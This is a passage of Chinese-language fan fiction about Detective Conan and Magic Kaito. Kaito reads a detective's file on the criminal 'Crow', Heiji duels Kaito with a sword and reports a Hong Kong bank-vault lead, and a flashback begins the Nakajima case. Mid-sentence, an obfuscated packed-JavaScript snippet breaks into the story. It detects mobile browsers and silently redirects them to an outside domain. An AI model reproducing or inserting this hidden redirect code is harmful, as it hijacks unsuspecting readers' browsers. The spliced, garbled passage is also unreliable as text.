最后剩下的那些恶迹斑斑的法外狂徒,除了极少数运气极好的例外,无一不是手段高超、思维缜密,而且心性极度坚韧自我的家伙。 对警方而言,这样难缠的罪犯被称作智能犯,专门由汇聚了刑侦高手的特别部门负责处理。 假若犯罪者在不同国度都犯过大罪,且因当地警方追捕无果而被联合通缉,就会被称作国际通缉犯。 工藤父子之所以没有完全以负面的观念来审读他们,是因为抛开善恶是非的伦理与人性之辩,这些人的头脑和才能确实远胜常人,当得起他们的正视。 侦探属于一种站在灰色地带的存在,他们揭开秘密、刺探人心,是无礼之徒;同时他们也破解阴谋、追踪罪犯,还是正义伙伴。 热衷打败这些犯罪高手的工藤新一就是个中翘楚。 名流家庭自小赋予他最优秀的礼仪教养,将守护良善与锄强扶弱的高尚品德根植于他光明磊落的秉性中,他顺从自己的本心,自然而然就站在了黑暗的对立面。 但这并不意味着工藤新一就成了铁面无私、毫无变通的秩序卫士。 侦探的暧昧性体现在逍遥法外数十年的国际通缉犯此刻正好端端地住在他家,目光停留在关于他自身的繁多案宗上,意味深长地眯起眼睛。 怪盗Kid的档案包含从黑羽盗一初次在巴黎现身至他遇害身故的十年,再加上黑羽快斗从17岁到19岁这两年的犯罪记录,林林总总的剪报和记事分析加起来足有十来本,几乎占据一层书架的大半格。记录者的手写字迹也从早年的龙飞凤舞变成现在的遒劲有力,暗示着两位名侦探的时代更替。 如今已进入信息时代,电子媒介逐渐取代纸质媒介,成为资料存储的主要载体。黑羽快斗粗略地翻看了一会儿,就知道工藤新一最初用电脑整理给他看的资料正是来源于这些纸质档案,连工藤优作和他自己的分析也被完完整整地转移了进去,所以他第二次看的时候对当中内容已经不会感到惊讶。 直到最后。 工藤父子将这些档案整理得井井有条,按照时间、国度、人物等要素进行了细致的分类,对于像怪盗这种资料极多的对象,还会用带有标签的隔板与其他人的档案区分开来。但工藤新一可能是一时疏忽,将一本属于其他罪犯的档案放错了位置。 黑羽快斗将怪盗分区的最后一卷档案翻开,发现里面都是工藤新一对那人的手写分析,笔记内容没有被记录于他的工作电脑,仅以纸质档案的形式保存在此处,仿佛是要最大限度地避免资料被窃取和泄露出去的可能性。 他垂眸读了一会儿里面记载的内容,忽然又翻回到前面,只见扉页上写着的名字是—— 乌鸦。 12.File 12 “观众朋友们早上好,这里是东京气象厅的特别播报。受今年第9号超强台风‘毕居’的持续逼近影响,下周东京全域将迎来持续强风雨天气,最大瞬时风力可达16级,部分地区有大暴雨或特大暴雨,请市民朋友们务必注意安全,尽量减少外出。以下是本周七日天气速览。周一,特大暴雨,预计台风将于晚上8点在东京西南方向正面登陆,沿海区域可能出现5米以上风暴潮……” 黑羽快斗前几天就知道台风将至的消息,听见电视提醒市区的电车可能全线停运,还是为这次风雨的规模咋舌。 他经过电视走到落地窗前,眺望着雨天格外空旷的街区,锐利的眉眼被玻璃上流动的水迹所模糊,用漫不经心的声音随意评价:“看来本周诸事不宜,上班族无需出勤,学生本就正值暑假,罪犯预备役也不得不躲在家里躺平了。” 这预测倒也不算是完全信口胡诌。 屋内的光线十分暗淡,在电视光所照亮的墙壁上,黑羽快斗走过的影子也引着工藤新一将目光移到室外,只是与无聊得快要打呵欠的少年不同,他骨节分明的手指间夹着最后一张雪白的纸页,准备放进信封,俨然是刚喝完早茶,就可以结束一天的工作了。 前天和昨天,寄往工藤家的信件数量已经少了许多,今天邮递员压根就没有过来。虽说工藤新一仍可通过电子邮件与各方保持着联络,不过近期似乎四处都相安无事,他也能偷得浮生半日闲。 当然,这自然还少不了黑羽快斗的功劳。信件中一些鸡毛蒜皮的小问题都被他顺手挑出来直接回复了。 美其名曰:免得影响名侦探的伤情恢复,平白耽误正事。 对方说到这里时,脸上展现出一副骄矜自满的表情,特别是近日看见工藤新一的伤口愈合得不错,精气神日益好转,更是很有成就感地点了点头,认为自己的一番努力卓有成效。 正用印章给信件封口的工藤新一抽空提出了一句异议:“那不也是正事吗?” 注视窗外的少年因他这句话转过头来。 “不对啊……”黑羽快斗慢吞吞地开口,眼睛因想到了什么而轻轻眯起,“那种程度还远不够格吧,和我相比。” ——我会嫉妒的。 他笑意盎然地说。 工藤新一斜坐在沙发上,双腿交叠,手托着脸,注视着黑羽快斗一瞬间流露出月下气息的眼睛。 近些年可很少有犯罪者胆敢当着他的面,放出这样狂妄得好似不知天高地厚的话来啊。 特别是眼前这位怪盗,居然迎着侦探似笑非笑的微妙表情还表现得从容不迫,甚至稍显挑衅地歪了歪头,指尖轻点自己的胸口,笑意如扑克牌翻转般倏然危险,意有所指道:“我才是让你穷追不舍的谜团,和令你欲罢不能的案件,不对吗?” 这句提问犹如魔鬼的诱惑,掺杂在愈加强劲的雨声中,让浸染了夜意的音色愈加暗昧。 所以,尽管向我全情投入吧。 黑羽快斗眼睛的睫毛抬起一点,室外的光线从侧面泼向脸孔,将他俊秀清晰的五官划分得明暗分明,冰蓝调的眸色略微挪转便透出凛冽锋利的绚丽清光。 这家伙…… 这一刻在侦探心中涌现的绝不仅是令他叹息的熟悉和怀念,因为无论如何都无法违心地否认,他格外钟情对方眼中不加掩饰的骄傲与任性。 这样的人,世间不可能存在第二个了。 和空气一般浓重潮湿的念头悄无声息地融进肺腑,被侦探若无其事地吸收。仿佛在呼应他的想法,屋外的雨声一瞬间变得很大,磅礴的雨点将他和黑羽快斗以外的世界都泼洒成玻璃上淋漓不清的模样,稀薄的光色如水一般极不安稳地在他们置身的空间中流动。 黑羽快斗确实是工藤新一迄今的人生中所见的最精通算计人心和最为才华横溢的犯罪者,身为侦探,他也是自己此生绝对不愿错过的宿命对手。 所以—— 工藤新一与之眼神交织的一刹那视线变得深不可测。 “当然,只要是你。”他笑着说。 无论碧落黄泉,我都会奉陪到底。 伴随台风的暴雨持续了好几天,他们储备的物资充足,封窗锁门后便安逸地如常度日。 工藤新一主要通过电脑与委托人远程沟通,黑羽快斗也在这段时间里把地下书库打扫了个七七八八。不过他时常偷懒,有几次还带着几本名为《红夹克侦探》的推理小说出来看得津津有味。工藤新一倒是从未对怪盗喜欢侦探小说的现象大惊小怪,偶尔还随意地与他聊一聊剧情。 电视台每天都在实时报道各地因台风受灾的情况,据说有些人家的住宅连屋顶都被狂风掀起,车辆被连根拔起的行道树砸得严重变形,部分地区积水严重的情况也是屡见不鲜。 原以为这种无人打扰的生活要再过一段时间才会结束,却因为一位不速之客的到来打破了平静。 那是台风刚过境后的某一日,一场暴雨从午后下到日落时分,浓云吞没了微薄的夕光,浓荫笼罩的道路比往日更加黯淡。微风拂来,将积水从树梢吹下,落在地面犹如一阵又一阵淅沥的残雨。 一把深绿色的大伞高高经过罕有行人的寂静街区,来人步伐矫健,衣袂随着脚步轻轻飘动,他轻车熟路地找到工藤家的大门,抬头看向面前风格典雅的英式建筑,伞下露出肤色黝黑的小半部分下颌。 不过他来的时机不巧,由于近日无人拜访,屋主尚未知晓自家铁栅门旁的门铃已经在台风期间进水损坏。对方连按了几次门铃都毫无反应,打电话给工藤新一也无人接听,心里不由犯起嘀咕——工藤该不会一个人在家出事了吧? 这猜测登时让来客心急如焚,他收起雨伞,和手中另一把用布帛包裹的棍状物并在一起,然后单手撑住铁栏,借力一跃,利落地翻进庭院,马不停蹄地沿着小径走到正门敲了两下,发现没锁门就毫不见外地走了进去,一边在玄关换鞋一边高声喊着屋主:“喂——工藤!” 空旷的大厅里回响着他自己的声音。 一头雾水的人把雨伞放在门边,依他对屋主的了解,平时工藤新一最可能在的地方,其中隔音好到几乎听不见外面声音的场所只有两个,一个是地下的书库,另外一个就是日常办公用的书房了。 于是他换上拖鞋走上二楼,果然发现书房屋门紧闭,心说工藤没接电话该不会是睡着了吧,走了过去,伸手握住门把。 咔嚓。 内芯轻轻旋转,咬合锁扣。 房门在面前缓缓打开,然后这位来自关西的豪迈男子、工藤新一的至交好友服部平次见到了此生难忘的噩梦No.1画面—— “工、工藤,你你你你居然……” 高扬的声音难以置信到发抖,虽然只有一瞬间,工藤新一转身时仍被对方看见了衣着不整的样子。对此工藤新一大体镇定,侧目看向服部平次瞠目结舌的脸孔,无奈地说:“服部你先到楼下坐,给我几分钟整理一下。” 瞧好戏似的同样目睹了不请自来的来客同手同脚地背身离开,黑羽快斗调侃说:“看来明天名侦探的花边新闻就要传到关西的警察那边去了。” 正在穿衣服的侦探分了他一个无语的眼神。 这倒也不怪对方一惊一乍。黑羽快斗稍微退开一些,把手边拆下来的绷带收拾起来。其实他只是普通的帮忙换药而已,年轻人无辜地心想,不过从门口的角度看向这边的话,刚才的动作就有点像是他俯下身要对衬衣半挂的名侦探做些什么,具体的画面刺激度取决于对方想象力能飞多远。 然后他随意地分析了一下自己对来人的第一印象,关西腔、黑皮肤、声音很大……典型的热情过度的大阪人,五官俊朗,但对自身的打理却显得很是粗犷,举手投足展现出条子的气质,于是事不关己地猜想道:“那位警官大叔看起来就像是大事靠得住但小事就特别随便的性格呢。” “虽然你的评价没有什么可以让我反驳的地方。”工藤新一有些无奈,“不过服部和我是同龄人。” “哈哈……看起来已经不像是同龄人了。”黑羽快斗伸手挠了挠脸颊。 这是恋爱滤镜吗?他望天,心里觉得名侦探看起来也没比他大多少。推理思考时虽有锋利冰冷的强烈气势,平常相处时神情柔和下来,却很容易让人的视线流连于他干净好看的眉眼,五官轮廓都毫无瑕疵,流逝的时光从未折损过他的风采,让工藤新一十年如一日的光风霁月。 工藤新一见黑羽快斗话里话外对服部平次全无印象,便向他介绍说:“服部平次,大阪府警察本部的刑事部警视,他在高中时代还有西之名侦探的称号。现在的你是不认识他了,以前他和你交过手。” 29岁就能升到警视的级别,那可算是相当年轻有为了啊。黑羽快斗心想,不愧是曾经能与工藤新一齐名的人物,听起来似乎有几分能耐。当然,话虽如此—— “所以呢?”他挑起眉梢,斗志高昂地问,“那位所谓的西之名侦探先生有被我耍得团团转吗?” 怪盗语气的尾音恶劣地微妙上扬些许。 可惜工藤新一很遗憾地告诉他:“他用刀把你追得四处跑。” 黑羽快斗顿时满脸不爽地“嘁”了一声,百思不得其解地抱怨:“那新一就干看着吗?” “你要我帮他?” “呃……”差点忘了名侦探不可能明着偏袒他。 怪盗沮丧地垂下肩膀,又飞快振作起来,极不服输地竖起眉毛,振振有词地放下话说:“我才不会输给你以外的任何人。” 此刻并不止他一人心气难平。 从惊愕回过神来的服部平次坐立不安得在沙发上根本待不住,一个人在楼梯口来回踱步,眼睛瞪得像是能把书房的门板烧灼出两个洞来,恨不得原地获得透视的超能力,看见书房里后来发生的一切。 谁啊那是?看起来怎么像是未成年……他他他怎么敢对工藤露出那么下流的笑容…… 最可怕的是工藤还把我给支开了!他在袒护那小鬼?! 服部平次越想越觉得血气上涌,忍不住回忆着方才惊鸿一瞥所见的画面,注意力对准那个视野余光里所见的“暧昧对象”。 当时他绝大部分的目光都汇聚在工藤新一身上,服部平次好不容易从狂乱如疾风龙卷的记忆碎片中抓取出极不起眼的一枚,才骤然惊觉,在对方闻声转过脸来的刹那,遮挡视线的发梢滑开,露出的标致眉眼居然熟悉得令人心惊肉跳。 简直和以前的工藤别无二致啊。服部平次抑制不住地心想,随后双眼因这念头慢慢地瞪圆了。 工藤又变小了?不、不是……啊?两个工藤? 开门声破除了服部平次所中的石化魔法,他一怔,视线自下而上地扫过眼前长身玉立的年轻人,目光在他自然垂下的指尖停留得格外久。 像是看见了一道难解的谜题,服部平次的眉头不知不觉中拧了起来,探照灯一般的视线扫描过黑羽快斗的脸庞,他唇角那捉摸不透的弧度,微微翘起的发梢,还有从碎发的阴影里显露出来的明锐眼睛。 “久闻您的盛名,原本也是关西侦探的服部平次警视先生。” 黑羽快斗彬彬有礼地欠身,仪态完美得滴水不漏,道出服部平次如今身份的语气怎么听都不似表面那般安分乖巧,而是明里暗里透着挑衅的叛逆。 这人笑着明知故问:“为什么一直盯着我的脸,有什么不对吗?” 服部平次不语,撇去初见的错觉,对方与他好友的气质差别极大,一个照面就足够让人辨清他不是工藤新一。 但是为什么呢,他露出疑窦丛生的表情,熟悉的感觉仍旧在他的脑海里萦绕不去。 尤其是对方轻笑时唇角的弧度,招摇嘲讽,又带着让人说不清道不明的危险气息,神秘莫测,这样的气质少有人能有,遇见上一个都是十多年前了。 等下,十多年前? 侦探该有的敏锐性总算上了线。服部平次警觉地提起心弦。 “你——不可能啊,难道说贝尔摩得……” 那女人不是消失好多年了吗?他犯起嘀咕。黑羽快斗听见陌生的女人名字时眼睛微眯,脸上却故意笑盈盈地钓着鱼:“怎么,名侦探还有除我以外的情人?” “怎么可能。”服部平次速答,随后反应过来,“不对,什么情人?” 他下意识将手伸向黑羽快斗的脸——所有在变装达人手中吃过亏的人都会有这样的反应,而且他确信自己的动作足够迅疾。 可是令他出乎意料的是,黑羽快斗机警地偏头,躲过服部平次的动作,接着分外灵巧地后跃,踩上二楼靠近楼梯的栏杆,游刃有余的笑容不变,却居高临下地垂目看了过来。 用那自由又傲慢的,怪盗的疏离眼神。 走廊一侧的窗户半敞,风和雨拂动他漆黑的发丝,撩开敞开的领口和衣摆,剔透的水珠扑打上去,飞溅在他白皙的锁骨、脖颈,和无比年轻的脸庞,他被雨水沾湿的长睫像被撕开翅膀的蜻蜓羽翼,透出一股美丽残酷的冰冷气息。 服部平次久违地在这般锐利又冷淡的视线中激起热血,属于侦探的那种追逐挑战的冲动让他感到跃跃欲试。 “你是谁?”他问。 黑羽快斗挑起眉梢,傲慢的眼神露出审视,仿佛在说你有资格让我自报名姓么? 不会有错,这种装腔作势的气质。 服部平次某方面的神经迟钝,这时候却转瞬从氛围之中心领神会了什么,包裹武器的布帛落在足边,露出他握在掌心的武士刀,紧接着寸寸寒光从刀鞘里拔出——这把名家出品的打刀原是他打算捎给工藤新一的伴手礼,此刻被他毫不犹豫地拔出刀鞘。 冷冽刀光划过空气,切割开一室沉黯。 服部平次只用了刀背,迅疾刀势破空而至,黑羽快斗随之后撤时刘海被刀锋带来的气流掀起,露出一双镇定冷静到极致的蓝色眼睛,他侧身躲过服部平次紧随而上的连续出刀,对比进攻方“咚咚咚”的声音不绝的紧迫迈步,躲避的动作更近似一种无声的精细腾挪。 不是普通人能有的身手。 依服部平次的经验判断,他每次躲避的幅度不大,却利落、干净,机械般冷酷与精准,身手带有黑暗世界的气息,手在栏杆上一撑,猫一般轻盈无声地翻越到他挥刀的反手处。 不好—— 服部平次意识到自己分心的时候已经迟了,呼吸一错,就见黑羽快斗衣袖半挽的小臂已经斜至眼前,手刀分明就是冲着他的喉咙,凭这来势的劲头,服部平次绝不怀疑对方能一击打断他的颈骨。 危险。服部平次的本能顿时叫嚣起来,他反射性地逆转了刀势,刃尖威胁性地指向来者的心口要害,同时骤缩的瞳孔下意识将视线汇聚,与对方同样从侧面袭来的凛冽眼神如刀锋交错。 寒光擦过黑羽快斗的衣襟,而他的指尖离服部平次的喉结仅剩半寸。 没有任何退让。 完全是不畏生死、以命换命的狠绝作风。 那是被黑羽千影所唤醒,黑羽快斗自身却对此全无记忆的,最古典不过的暗杀术。 怎会出现在这样一位年纪轻轻的少年身上? 一时间无数困惑涌上服部平次的心头,唯独缺少针对当下死局的破解之法。急速加剧的危机感扼住了他的呼吸,鼓膜被心脏跳动的声响猛烈撞击,大脑里一阵轰鸣。 “都停手!” 生死之际,冷厉的声音陡然切入他们之间极度紧绷的空气,是工藤新一。 双方同时一怔,循声看去,只见工藤新一单手扶着门框站在门边,眉目间透着冷然,不知已这么旁观了多久。 就像气球在眼前被针扎破,服部平次只觉空气的激流过量地灌进被撕扯成真空的一道裂隙,让引力掉转成斥力,二人间的距离被迅疾拉开。他再抬眼时,黑羽快斗已经向后轻跃,在走廊上更靠近工藤新一的位置远远站立。 说是更靠近,其实与两边都存在一个比较微妙的距离。 有点不简单啊……那小子。看似护主其实更像在护食。 服部平次对他的防备随着观察不减反增,刀尖微垂,手腕随时都能够对其施力,看似不在意实则非常在意地斜眼问:“他谁啊?工藤,你兄弟?” 工藤新一闻言却只给出一个模棱两可的回答:“你就当是这样吧。” 黑羽快斗此刻对名侦探落在昏暗处的眼神感到忐忑不忿,是对他生气了么? 大阪警察也为此在心底炸了一下。可恶啊,这果然就是袒护! 奈何他一个直男实在对黑羽快斗口中“情人”这个词汇浑身过敏,听见黑羽快斗这么说的时候只觉荒谬至极,当着工藤新一的面更是问不出口,眼角细微地抽了抽。 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594712|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的神情逐渐困顿的时候,黑羽快斗忽然歪了歪头,打破了此地愈加尴尬的沉默氛围。 “新一,我去给你们泡茶。” 高情商的少年先对心上人从容一笑,转眼看向服部平次时,尽管笑容里的温度降低了一些,却依旧算在克制得体的范畴以内。 “失礼了。”他颔首说,随后利落地转身离开。 服部平次注视着他毫无破绽的背影直到消失于视野,思及双方先前的交手,冰冷尖锐的空气拂过面颊的感觉还久久无法消退,皮肤感到的刺痛在神经末梢里鲜明地残留着。那绝不是生活在和平环境的人所能具备的东西。 他沉默片刻,才缓慢地说:“你不打算透露隐情也没关系,我相信你既然把那个小子留在身边就一定有你的打算。但是工藤,小心引火烧身,他绝对有很大问题。” 工藤新一“嗯”了一声,随后道:“不说这个了,服部,你找我有什么事?” 这个问题当即让对方正了正神色。 能让服部平次无视台风肆虐的恶劣天气赶来东京,自然是他有要事必须亲口告知工藤新一。 “我上周年休,准备跟和叶带我家小鬼出国旅行,正好前阵子听你问过‘五号金库’,想着说不定能顺便帮你打听消息,就把目的地定在香港。” 谈话的地点转移到会客室,服部平次一进屋就大马金刀地往沙发一坐,身体微弓,手肘搁在膝上,对工藤新一说:“然后我听到了一些对你不太妙的消息呐。” “有关什么?” “在我之前,已有两拨人打听过这同一件事。”对方伸出两根手指,比出一个“二”的手势。 工藤新一手里握着服部平次送给他的那把打刀,修长的手指握住刀柄,缓缓拔刀出鞘,寒光映照在他冷蓝的眼底,脸庞落上一道雪亮的光。 五号金库,这是将神秘钥匙赠予铃木园子的香港商人提及过的名称,似乎有一枚特征与潘多拉相似的宝石被藏匿其中,所以吸引了有心人的目光。 侦探心中对有人走在他前面的情报并不意外,能被组织和怪盗淑女同时锚定的目标,若在事先没被他们考察过才是怪事。虽然晚了一步,但这正说明服部平次找对了方向。 “没关系,我不着急。”他笑了笑,随意地端详起寒光凛冽的刀身上如繁文波回的锻打纹,有点意味深长地说,“钥匙失窃,现在忧心如焚的可绝不是我……”后面的话他止了音,收刀入鞘,不再说了。 工藤新一只有确信他得出正确谜底的时候才会说出他的思路,其他的时候几乎是闷葫芦,或者是说了上句没有下句的谜语人,服部平次也不以为意。 “那我就把我找到的线索分享给你吧。不过,我有种直觉,这次的事件可能远比我们想象的要更棘手。”服部平次说,看见工藤新一在他面前坐下,摆出洗耳恭听的姿态,便将他此次香港之行查出的情报一五一十地讲述出来。 中国香港,是毗邻于本国大陆南端的国际都市与自由港,溯其历史,大约是近两百年才实现了现代工业化的发展。现今岛上有一定名声和实力底蕴的家族,也都基本是在那个年代扎根立业。 “我一开始听到‘五号金库’这个称呼时,第一反应是好奇还有没有藏着其他宝物的‘一号’、‘二号’金库?但随后的反应就是困惑。金库通常是用来存储财物的固定场所,先祖为后代积攒的财宝,不说金银玉器之类更常用的东西,用整整一个金库单独存放一颗宝石……我不是说不行,就是感觉钻石所需的空间不算很大,最多一米见方的保险箱就足够了,想象一下应该还挺便携的,要怎么防止它不会像钥匙一样被轻易夺走后意外遗失呢?” 特别是其中半枚钥匙遗失的时间点非常特殊——里斯本丸号沉没,巨轮上以英俘为主的大批人和货物坠落汪洋,那是在第二次世界大战,日军取代英军接管港岛的战乱时期发生的事件,也代表着当地统治势力的变迁。面对风雨飘摇、人人朝不保夕的乱世,连上任世界霸主的军队都无法从舞台体面地退场,当地各大家族一定会想尽办法把财富保存在那些外来者难以进犯的地方。 不过从另一个角度来看,钥匙失落至今也才七十来年。对于一些土著势力来说,还不至于普遍将那段历史遗忘。尽管当地人相对排外,但服部平次操着一口不带口音的英语旁敲侧击,拿出身为侦探不折不挠的根性,还真被他找到了一些线索。 “契机其实是我路过港交所,听见当地人对于股票的一些谈话,发现他们有时会用股票代码来指代对应的上市企业,越早上市的企业,代码数字越简单好记。”服部平次说,“港股00005,对应汇丰控股,因为分红稳定,我听很多人把这只股票称为‘五仔’。这可是香港的老牌银行啊,曾经甚至称得上是捏住了当地的金融命脉,就算是他国也不会轻易与其撕破脸面。委托这样一所银行的金库来保管一颗宝石,应该算是当时最稳妥的选择了吧。后来我就顺着这条线查了下去……” 结果不出服部平次所料,汇丰银行的确长期提供保管箱服务,最高级的长约高达百年,到期还能续签,保管箱被封存于皇后像广场的总部大厦的最深层地库,号称国际级大盗也无法突破的禁区。 他说到这里时想起销声匿迹许久的某人,嘴角微抽,心说要是那个家伙的话,这绝对不能妄下定论。 服部平次赴港期间尚未听说东京再度流传起怪盗复出的风言风语,说到这时还自以为失言,差点忘记工藤新一对那家伙的执念,瞧见对方似乎没有注意到这点才悄悄松了口气。 工藤新一单手抵着下颌沉思。 “签署这类长约的人应该也不算多吧,特别是比七十年前更早的时期。”他说,“我想那个继承方既然找不到另一半钥匙,认定宝箱开启无望,保管费又高昂,大概率不会再主动去找银行续约。而银行那边应该也找不到签约人的联系方式,根据协议规定,又必须履行告知服务即将到期的义务,这时候就会使用定期对外公告的方法。” 服部平次点了点头。 “没错,那家银行确实每年都有这类的定期告示,而且对于期限越长的保管合约,他们会越早开始对外公告。五年长约,通常会在最后一年发出提醒,十年长约,提前两年开始逐年提醒,二十年,提前五年……到百年合约,会提前三十年公告。” 若是他们要寻找的目标,此刻定然已经进入公示清单。就算被隐去具体姓名,根据姓氏和到期年数反推,再去调查当年身家不菲且符合条件的人物,也算有迹可循。 服部平次因此说:“最后我排除了其他的错误选项,只剩下一个符合条件……但结果说来也是很巧,那个保险箱今年正好就要到期了,届时将有两个结果,一是通过拍卖被他人接管,二是无人接管被集中销毁。” 服部平次正是去了解此事的时候,得知已有两拨人提前咨询过拍卖的具体事项。 “我大体就调查到这里,但当地一定有人在密切关注此事,后来几天我都感觉有被跟踪的痕迹。”他说着微微眯了眯眼睛,“来者不善呐。我有一种感觉,若是我没有立即离境,他们的跟踪很快就会发展成更恶劣的行动。” 就像插手了青山狙杀案的工藤新一,因为妨碍组织行动,险些被变色龙安排的狙击手当场夺走性命。 服部平次自然也是从同僚那边听说了此事,他虽未曾亲至现场,但仅凭那只言片语也能想象当时有多凶险。他知道工藤新一近年都在追查一个势力和规模都不逊于琴酒他们的跨国犯罪组织,为此不得不屡次将自己置身于穷凶极恶的险境。 出于多少能给挚友帮些忙的目的,服部平次这才决定赴身香港。但他没料到这都能引起有心人的注意,妻儿在侧的场合也让他无法继续冒险调查下去。 “多谢,能查到这里已经帮大忙了。”工藤新一说道。 “跟我客气什么?你一个人担那么多事才是辛苦呢。”对方毫不在意地摆了摆手。 “对了,我这边还有一个中午才传来的消息,工藤你……可能还不知道。” 服部平次迎向工藤新一询问的目光,沉默须臾,才缓缓道:“三个月前你在羽田机场经手的那个案子,杀人者中岛大政……今早被发现自戕于拘押的留置场。” 随后他说的一句话让听见的人脸色微沉,眼神骤然冷冽。 “他是被乌鸦吓死的。” 13.File 13 要问那位大名鼎鼎的“乌鸦”,究竟是何许人也? 从名字也可以推测得出来,他是与黑羽快斗有着弑父之仇的组织的成员。工藤新一与其部下变色龙曾在不同的事件中打过照面,甚至揭破了变色龙的真容,数度将其逼入绝境,使变色龙对他恨之入骨。但乌鸦本人却没有那么喜欢亲自出手,他更习惯将自己隐于幕后策划一切。因此工藤新一唯一一次与之正面交手,正是在三个月前,一桩名为“中岛血案”的事件中。 为了更详细地介绍代表他们初次交锋的“中岛血案”,现在将时间回拨到三个月之前。 初春时分,东京依旧下着大雨,潇潇夜雨遮蔽了远处路灯朦胧闪烁的昏光。夜晚如吞噬一切的巨兽,潜伏在黑暗里。 阴雨天气并不妨碍特权阶级的聚会如期举行。 两道雪亮的射光穿透了厚重的雨幕,紧接着车轮碾过泥泞路面的声音传到耳畔,数名等待已久的人顿时一惊。 在众目汇聚之下,一辆极具辨识性的名车猛地一个大摆停在别墅门前,然而他们来不及迎上前去,来人已经走出了车子,经过门童匆忙拉开的华丽大门。 “先生,工藤新一已经来了。” 远处的管事向对讲机另一边的人物报告道。他遥遥注视着对方将车钥匙抛给侍者的一幕,眼神微动:“这就是那位传闻中案件侦破率百分百的名侦探。” 一缕凉风无情地掠过欠身迎宾的礼仪小姐们身前,吹起她们轻薄的裙摆。 属于夜晚的冰凉风雨伴随工藤新一的到来飘飞进室内燥热的空气。 悬挂于主厅顶上的巨大水晶吊灯晃着扎人眼的亮光,他步入会场,打磨光滑的大理石映照着在场人们从容优雅的身姿。侦探的目光平静扫去,满目皆是贵妇小姐们所着礼服的华丽裙裾,以及绅士们剪裁得体的西装。 今夜由中岛集团主办的晚宴,名义上是庆贺慈善义卖完美落幕,实际上却是政商名流互通有无的社交场。 如同过往一般,政治话题与地下生意在这些人的谈笑风生中被逐一敲定,可笑的是在场掌握着国家命脉的人手中握着的却不是任何正式的文书,而是摇晃澄红酒液的高脚杯、火星舔舐着的雪茄,还有点在地面上的文明杖。 高级香水的味道伴随纸醉金迷的气息迎面扑来,美丽曼妙的淑女们如蝴蝶般周旋于华丽的会场。 不过一会儿,就有辨认出他身份的议员过来打招呼,将热切的视线投向侦探的清冷脸庞。 尽管本人偶尔自嘲他常与死亡相伴,在那些上层社会的人眼里,工藤新一不仅是不折不扣的名流家庭出身,而且他作为最顶级的刑案侦探,手上掌握着庞大深厚的警界人脉,实属一位无人胆敢小觑的实权人物。 哪怕对方从不理睬一些利益输送的交易,光凭工藤新一在许多望尘莫及的大人物面前说话极具分量,甚至那些大人物们或主动或被动地欠过他的人情,就能驱使人们前赴后继地尝试与他结交。 侦探从不轻率与人交恶。工藤新一逢场作戏地带起社交笑容,随意与人寒暄两句。他不担心被无意义的客套话浪费过多的时间,因为心急如焚的主家侍从很快就面带歉疚地插入对话,对工藤新一毕恭毕敬地说:那位先生已经恭候他多时。 ——那位先生。 就是工藤新一此行打算会面的目标。 顺水推舟摆脱了纠缠的侦探拾级而上,推开会客室的屋门,迎面看见沙发上的人瞬间应激般地站起,一张苍白的脸孔遏制不住地浮现出惊恐的表情。 过了良久,对方意识到来人不是为他带来无穷梦魇的死敌,而是自己几经周折才搭上线的重要人物,脸色渐渐平静下来,沉声道:“等你很久了,工藤新一。” “幸会。” 门在侦探的身后闭合,阴影也从两侧汇聚,重新笼罩在他面前那张阴鸷丛生的脸庞上。 工藤新一在他对面的沙发坐下,双腿交叠,礼貌地笑了一下,说:“很高兴我们第一次以合作的身份坐下来说话,中岛一雄社长……还是我应该换个称呼,亲爱的蜥虎先生?” 这般以动物名来指代身份的叫法,照理只有某个组织的内部成员才知晓。中岛一雄作为当中极少亲自出面的高层人物,工藤新一此刻的称呼无疑彰显出他对组织的情报掌握到了极为致命的深度。 但在此刻,这位面庞纹路极深的大人物却早已无暇深思和胆寒于这些细节。 他似乎正艰难地按捺着自己犹如惊弓之鸟的紊乱心绪,一直站在原地慢慢喘气,竭力让大脑保持冷静。 然而对方一双饱含恐惧的眼睛频频四顾,仿佛时刻警戒着什么的表现,却暴露出此人绝不安定的内心。 视线的落点最后缓缓挪移到工藤新一不动声色的脸孔。 “你真的是工藤新一……” 面对侦探无声的颔首,蜥虎紧绷的肩膀微微一松,旋即露出审视中混杂着忌惮的复杂眼神。 时至今日他还是无法确定,自己决定与这位名侦探达成交易,究竟是与虎谋皮还是断尾求生。 要不是被组织的那位逼迫到不得已,他也不会选择背叛。现在已容不得他再后悔,自我开脱更没有意义,但蜥虎想到他不得不抛弃这些年苦心经营的一切,还是疼得像是心口在淌血。 事到如今,他只想从那位的手中活下去。 定了定心,他说:“我只留三天,三天后,我会离开这个国家。你要的东西会在我脱身后送到你手上。” 蜥虎停顿了数秒,意味深长地拉长了声音。 “是那家伙也梦寐以求的……魔石的情报。” 工藤新一闻言垂眸掩去眼底愈发冷冽的寒意,唇角含笑,轻轻说了声好。 为避人耳目,结束商谈的工藤新一在蜥虎外出主持晚宴许久之后才缓步从二楼走下。然而当他走到楼梯中段的平台,却不禁驻足了片刻,眉梢挑起,对主厅内意外嘈杂的古怪氛围感到好奇。 厅内的与会宾客时不时交头接耳、低声议论,话题模模糊糊暴露出一个相同的内容,似乎是今夜细数中岛集团慈善成就的宣传影片被黑客替换了内容,公开了一部分他们见不了光的内幕交易。 工藤新一俯瞰下去,只见站在最前方的蜥虎脸色僵硬得像是刷灰的墙,又泛着青色的恐惧。 原因大概不仅是集团内不当交易的商业机密被公之于众。 在他身侧是一块白色的巨大荧幕,影片结束后的画面定格在一片黑色的鸟影。 从外形来看,是渡鸦。 一种聪明的乌鸦,可以模仿人类说话。 普通宾客不会注意到的细节,却是激发出蜥虎内心恐惧的真正源泉。 毕竟对方已经嚣张至极地自报出身份。 工藤新一眼中的漫不经心顿时消失不见。他拧起眉,向蜥虎周围严阵以待的保镖走近,让他们带他前往中央电脑所在的主控室,同时将电话拨打出去,不多时就得到一个虚拟的IP地址,电话那头表示无法追踪到对方的真实身份,侵入网络的是一个精通信息安全的高手。 “绝对是他,那个可恨的乌鸦!” 